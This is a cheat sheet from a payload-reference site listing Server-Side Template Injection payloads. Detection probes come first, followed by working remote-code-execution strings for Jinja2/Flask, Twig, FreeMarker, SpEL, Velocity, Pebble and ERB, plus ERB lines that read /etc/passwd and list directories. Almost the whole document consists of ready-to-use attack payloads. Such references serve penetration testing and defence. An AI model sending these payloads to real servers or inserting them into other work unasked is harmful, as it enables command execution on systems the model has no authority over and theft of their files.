# SSTI Cheat Sheet

> Server-Side Template Injection payloads for Jinja2, Twig, FreeMarker, ERB, and more template engines.

Source: https://payloadplayground.com/cheatsheets/ssti

For authorized security testing only.

## Detection

- `{{7*7}}` — Jinja2 / Twig / Pebble — expect 49
- `${7*7}` — FreeMarker / Mako — expect 49
- `<%= 7*7 %>` — ERB (Ruby) — expect 49
- `#{7*7}` — Generic expression test
- `#set($x=7*7)$x` — Velocity — expect 49
- `{{7*'7'}}` — Jinja2 vs Twig (Jinja2: 7777777, Twig: 49)
- `{{dump(app)}}` — Twig — dump application object
- `{{config}}` — Jinja2/Flask — dump config
- `${T(java.lang.Runtime)}` — Spring Expression Language (SpEL)
- `*{7*7}` — Thymeleaf — expect 49

## Jinja2 / Flask RCE

- `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` — RCE via config globals
- `{{''.__class__.__mro__[1].__subclasses__()}}` — List all subclasses
- `{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}}` — Popen via subclass index X
- `{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}` — RCE via request object
- `{{cycler.__init__.__globals__.os.popen('id').read()}}` — RCE via cycler object
- `{{lipsum.__globals__.os.popen('id').read()}}` — RCE via lipsum

## Twig RCE

- `{{['id']|filter('system')}}` — RCE via filter function
- `{{['id']|map('system')}}` — RCE via map function
- `{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}` — Twig < 1.20 registerCallback RCE
- `{{'id'|filter('system')}}` — Direct string filter RCE

## FreeMarker / Velocity / Java

- `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` — FreeMarker Execute class (FreeMarker)
- `${T(java.lang.Runtime).getRuntime().exec("id")}` — Spring Expression Language (SpEL) (Spring)
- `#set($rt=$x.class.forName("java.lang.Runtime"))#set($ex=$rt.getRuntime().exec("id"))` — Velocity Runtime.exec (Velocity)
- `${product.getClass().forName("java.lang.Runtime").getRuntime().exec("id")}` — Pebble Java exec (Pebble)

## ERB / Ruby

- ``<%= `id` %>`` — Backtick command execution
- `<%= system("id") %>` — System call
- `<%= IO.popen("id").read %>` — IO.popen execution
- `<%= File.read("/etc/passwd") %>` — Read file
- `<%= Dir.entries("/") %>` — List directory

## Related

- [Template Injection (SSTI) generator](https://payloadplayground.com/generators/ssti)
- [WAF Bypass generator](https://payloadplayground.com/generators/waf-bypass)
- [XSS Payloads & Filter Bypass — Cheat Sheet](https://payloadplayground.com/cheatsheets/xss.md)
- [Command Injection Cheat Sheet](https://payloadplayground.com/cheatsheets/command-injection.md)
